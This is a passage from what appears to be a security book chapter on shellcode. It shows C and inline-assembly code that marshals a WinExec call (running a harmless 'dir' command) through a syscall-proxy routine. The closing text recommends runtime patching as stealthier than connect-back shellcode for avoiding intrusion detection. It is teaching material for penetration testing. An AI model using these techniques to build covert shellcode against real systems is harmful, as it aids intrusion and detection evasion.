          mov eax, dword ptr[ ebp + 28 ];
          call eax; // this is getprocaddress
          call eax; // this is our function call

          // now we tidy up
          add esp, 0x800;
          add esp, 0x100;
          pop ebp
     }

     return 1;
}



int main( int argc, char *argv[] )
{
     unsigned char buff[ 256 ];
     unsigned char *psz;
     DWORD freq = 1234;
     DWORD dur = 1234;
     DWORD show = 0;
     HANDLE hk32;
     void *loadlib, *getproc;
     char *cmd = "cmd /c dir > c:\\foo.txt";

     psz = buff;

     strcpy( psz, "kernel32.dll" );
     psz += strlen( psz ) + 1;

     strcpy( psz, "WinExec" );
     psz += strlen( psz ) + 1;

     *((unsigned *)(psz)) = 2;          // parameter count
     psz += 4;

     *((unsigned *)(psz)) = strlen( cmd ) + 1;     // parameter size
     psz += 4;
```

```
      // set fn_flags
      *((unsigned *)(psz)) = 0;
      psz += 4;

      psz += Marshall( IS_IN, sizeof( DWORD ), (unsigned char *)&show,
psz, sizeof( buff ) );
      psz += Marshall( IS_PTR | IS_IN, strlen( cmd ) + 1, (unsigned char
*)cmd, psz, sizeof( buff ) );

      hk32 = LoadLibrary( "kernel32.dll" );
      loadlib = GetProcAddress( hk32, "LoadLibraryA" );
      getproc = GetProcAddress( hk32, "GetProcAddress" );

      AsmDemarshallAndCall( buff, loadlib, getproc );

      return 0;
}
```

As it stands, this example performs the somewhat less-than-exciting task of demarshalling and calling `WinExec` to create a file in the root of the C drive. But the sample works and is a demonstration of the demarshalling process. The core of the mechanism is a little over 128 bytes. Once you add in all the surrounding patch level independence and sockets code, you still have fewer than 500 bytes for the entire proxy.

Conclusion

In this chapter, you learned how to do a runtime patch via shellcode. Instead of creating simple connect-back shellcode, which can be easy for an IDS to discover, subtle runtime patching makes an excellent stealth attack on a penetration test. We also covered the concept of syscall proxies in great detail, because most shellcode will likely be implemented in syscall proxies in the future.